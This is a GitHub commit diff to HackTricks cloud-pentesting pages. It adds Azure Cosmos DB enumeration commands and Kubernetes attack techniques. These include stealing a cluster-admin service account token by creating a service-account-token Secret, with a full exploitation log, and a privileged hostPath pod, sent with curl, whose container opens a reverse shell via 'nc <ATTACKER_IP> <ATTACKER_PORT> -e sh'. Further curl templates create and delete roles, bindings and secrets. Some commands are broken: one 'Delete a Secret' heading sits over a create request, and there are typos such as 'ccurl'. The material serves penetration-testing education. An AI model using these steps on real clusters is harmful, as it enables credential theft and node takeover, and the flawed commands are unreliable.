Skip to content

Commit 02042a1

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 38ce0c7 + cb5158f commit 02042a1

File tree

3 files changed

+319
-0
lines changed

3 files changed

+319
-0
lines changed

src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -238,6 +238,17 @@ az cosmosdb restorable-database-account list --account-name <AccountName>
238238
## Show the identities for a Azure Cosmos DB database account.
239239
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
240240

241+
## MongoDB
242+
# List all MongoDB databases in a specified Azure Cosmos DB account
243+
az cosmosdb mongodb database list --account-name <AccountName> --resource-group <ResourceGroupName>
244+
# List all collections in a specific MongoDB database within an Azure Cosmos DB account
245+
az cosmosdb mongodb collection list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
246+
247+
# List all role definitions for MongoDB within an Azure Cosmos DB account
248+
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
249+
# List all user definitions for MongoDB within an Azure Cosmos DB account
250+
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
251+
241252
```
242253
{% endcode %}
243254
{% endtab %}

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
350350
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
351351
```
352352

353+
### Creating and Reading Secrets
354+
355+
There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
356+
If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
357+
358+
```yaml
359+
apiVersion: v1
360+
kind: Secret
361+
metadata:
362+
name: stolen-admin-sa-token
363+
namespace: default
364+
annotations:
365+
kubernetes.io/service-account.name: cluster-admin-sa
366+
type: kubernetes.io/service-account-token
367+
```
368+
369+
Example exploitation:
370+
371+
```bash
372+
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
373+
374+
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
375+
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
376+
Resources Non-Resource URLs Resource Names Verbs
377+
selfsubjectreviews.authentication.k8s.io [] [] [create]
378+
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
379+
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
380+
secrets [] [] [get create]
381+
[/.well-known/openid-configuration/] [] [get]
382+
<SNIP>
383+
[/version] [] [get]
384+
385+
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
386+
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
387+
388+
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
389+
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
390+
391+
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
392+
secret/stolen-admin-sa-token created
393+
394+
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
395+
{
396+
"apiVersion": "v1",
397+
"data": {
398+
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
399+
"namespace": "ZGVmYXVsdA==",
400+
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
401+
},
402+
"kind": "Secret",
403+
"metadata": {
404+
"annotations": {
405+
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
406+
"kubernetes.io/service-account.name": "cluster-admin-sa",
407+
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
408+
},
409+
"creationTimestamp": "2025-01-11T13:02:27Z",
410+
"name": "stolen-admin-sa-token",
411+
"namespace": "default",
412+
"resourceVersion": "1019116",
413+
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
414+
},
415+
"type": "kubernetes.io/service-account-token"
416+
}
417+
```
418+
419+
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
420+
421+
353422
### Reading a secret – brute-forcing token IDs
354423

355424
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

Lines changed: 239 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -535,6 +535,10 @@ k top pod --all-namespaces
535535
{{#endtab }}
536536
{{#endtabs }}
537537

538+
## Interacting with the cluster without using kubectl
539+
540+
Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
541+
538542
### Escaping from the pod
539543

540544
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,241 @@ chroot /root /bin/bash
603607

604608
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
605609

610+
### Creating a privileged pod
611+
612+
The corresponding yaml file is as follows:
613+
614+
```yaml
615+
apiVersion: v1
616+
kind: Pod
617+
metadata:
618+
name: everything-allowed-exec-pod
619+
labels:
620+
app: pentest
621+
spec:
622+
hostNetwork: true
623+
hostPID: true
624+
hostIPC: true
625+
containers:
626+
- name: everything-allowed-pod
627+
image: alpine
628+
securityContext:
629+
privileged: true
630+
volumeMounts:
631+
- mountPath: /host
632+
name: noderoot
633+
command: [ "/bin/sh", "-c", "--" ]
634+
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
635+
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
636+
volumes:
637+
- name: noderoot
638+
hostPath:
639+
path: /
640+
```
641+
642+
Create the pod with curl:
643+
644+
```bash
645+
CONTROL_PLANE_HOST=""
646+
TOKEN=""
647+
648+
curl --path-as-is -i -s -k -X $'POST' \
649+
-H "Host: $CONTROL_PLANE_HOST" \
650+
-H "Authorization: Bearer $TOKEN" \
651+
-H $'Accept: application/json' \
652+
-H $'Content-Type: application/json' \
653+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
654+
-H $'Content-Length: 478' \
655+
-H $'Accept-Encoding: gzip, deflate, br' \
656+
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
657+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
658+
```
659+
660+
### Delete a pod
661+
662+
Delete a pod with curl:
663+
664+
```bash
665+
CONTROL_PLANE_HOST=""
666+
TOKEN=""
667+
POD_NAME="everything-allowed-exec-pod"
668+
669+
curl --path-as-is -i -s -k -X $'DELETE' \
670+
-H "Host: $CONTROL_PLANE_HOST" \
671+
-H "Authorization: Bearer $TOKEN" \
672+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
673+
-H $'Accept: application/json' \
674+
-H $'Content-Type: application/json' \
675+
-H $'Content-Length: 35' \
676+
-H $'Accept-Encoding: gzip, deflate, br' \
677+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
678+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
679+
```
680+
681+
### Create a Service Account
682+
683+
```bash
684+
CONTROL_PLANE_HOST=""
685+
TOKEN=""
686+
NAMESPACE="default"
687+
688+
689+
curl --path-as-is -i -s -k -X $'POST' \
690+
-H "Host: $CONTROL_PLANE_HOST" \
691+
-H "Authorization: Bearer $TOKEN" \
692+
-H $'Content-Type: application/json' \
693+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
694+
-H $'Accept: application/json' \
695+
-H $'Content-Length: 109' \
696+
-H $'Accept-Encoding: gzip, deflate, br' \
697+
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
698+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
699+
```
700+
701+
702+
### Delete a Service Account
703+
704+
```bash
705+
CONTROL_PLANE_HOST=""
706+
TOKEN=""
707+
SA_NAME=""
708+
NAMESPACE="default"
709+
710+
curl --path-as-is -i -s -k -X $'DELETE' \
711+
-H "Host: $CONTROL_PLANE_HOST" \
712+
-H "Authorization: Bearer $TOKEN" \
713+
-H $'Accept: application/json' \
714+
-H $'Content-Type: application/json' \
715+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
716+
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
717+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
718+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
719+
```
720+
721+
722+
### Create a Role
723+
724+
```bash
725+
CONTROL_PLANE_HOST=""
726+
TOKEN=""
727+
NAMESPACE="default"
728+
729+
730+
curl --path-as-is -i -s -k -X $'POST' \
731+
-H "Host: $CONTROL_PLANE_HOST" \
732+
-H "Authorization: Bearer $TOKEN" \
733+
-H $'Content-Type: application/json' \
734+
-H $'Accept: application/json' \
735+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
736+
-H $'Content-Length: 203' \
737+
-H $'Accept-Encoding: gzip, deflate, br' \
738+
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
739+
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
740+
```
741+
742+
743+
### Delete a Role
744+
745+
```bash
746+
CONTROL_PLANE_HOST=""
747+
TOKEN=""
748+
NAMESPACE="default"
749+
ROLE_NAME=""
750+
751+
curl --path-as-is -i -s -k -X $'DELETE' \
752+
-H "Host: $CONTROL_PLANE_HOST" \
753+
-H "Authorization: Bearer $TOKEN" \
754+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
755+
-H $'Accept: application/json' \
756+
-H $'Content-Type: application/json' \
757+
-H $'Content-Length: 35' \
758+
-H $'Accept-Encoding: gzip, deflate, br' \
759+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
760+
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
761+
```
762+
763+
764+
### Create a Role Binding
765+
766+
767+
```bash
768+
CONTROL_PLANE_HOST=""
769+
TOKEN=""
770+
NAMESPACE="default"
771+
772+
curl --path-as-is -i -s -k -X $'POST' \
773+
-H "Host: $CONTROL_PLANE_HOST" \
774+
-H "Authorization: Bearer $TOKEN" \
775+
-H $'Accept: application/json' \
776+
-H $'Content-Type: application/json' \
777+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
778+
-H $'Content-Length: 816' \
779+
-H $'Accept-Encoding: gzip, deflate, br' \
780+
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
781+
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
782+
```
783+
784+
### Delete a Role Binding
785+
786+
```bash
787+
CONTROL_PLANE_HOST=""
788+
TOKEN=""
789+
NAMESPACE="default"
790+
ROLE_BINDING_NAME=""
791+
792+
curl --path-as-is -i -s -k -X $'DELETE' \
793+
-H "Host: $CONTROL_PLANE_HOST" \
794+
-H "Authorization: Bearer $TOKEN" \
795+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
796+
-H $'Accept: application/json' \
797+
-H $'Content-Type: application/json' \
798+
-H $'Content-Length: 35' \
799+
-H $'Accept-Encoding: gzip, deflate, br' \
800+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
801+
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
802+
```
803+
804+
### Delete a Secret
805+
806+
```bash
807+
CONTROL_PLANE_HOST=""
808+
TOKEN=""
809+
NAMESPACE="default"
810+
811+
curl --path-as-is -i -s -k -X $'POST' \
812+
-H "Host: $CONTROL_PLANE_HOST" \
813+
-H "Authorization: Bearer $TOKEN" \
814+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
815+
-H $'Accept: application/json' \
816+
-H $'Content-Type: application/json' \
817+
-H $'Content-Length: 219' \
818+
-H $'Accept-Encoding: gzip, deflate, br' \
819+
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
820+
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
821+
```
822+
823+
### Delete a Secret
824+
825+
```bash
826+
CONTROL_PLANE_HOST=""
827+
TOKEN=""
828+
NAMESPACE="default"
829+
SECRET_NAME=""
830+
831+
ccurl --path-as-is -i -s -k -X $'DELETE' \
832+
-H "Host: $CONTROL_PLANE_HOST" \
833+
-H "Authorization: Bearer $TOKEN" \
834+
-H $'Content-Type: application/json' \
835+
-H $'Accept: application/json' \
836+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
837+
-H $'Content-Length: 35' \
838+
-H $'Accept-Encoding: gzip, deflate, br' \
839+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
840+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
841+
```
842+
843+
844+
606845
## References
607846

608847
{{#ref}}

0 commit comments

Comments
 (0)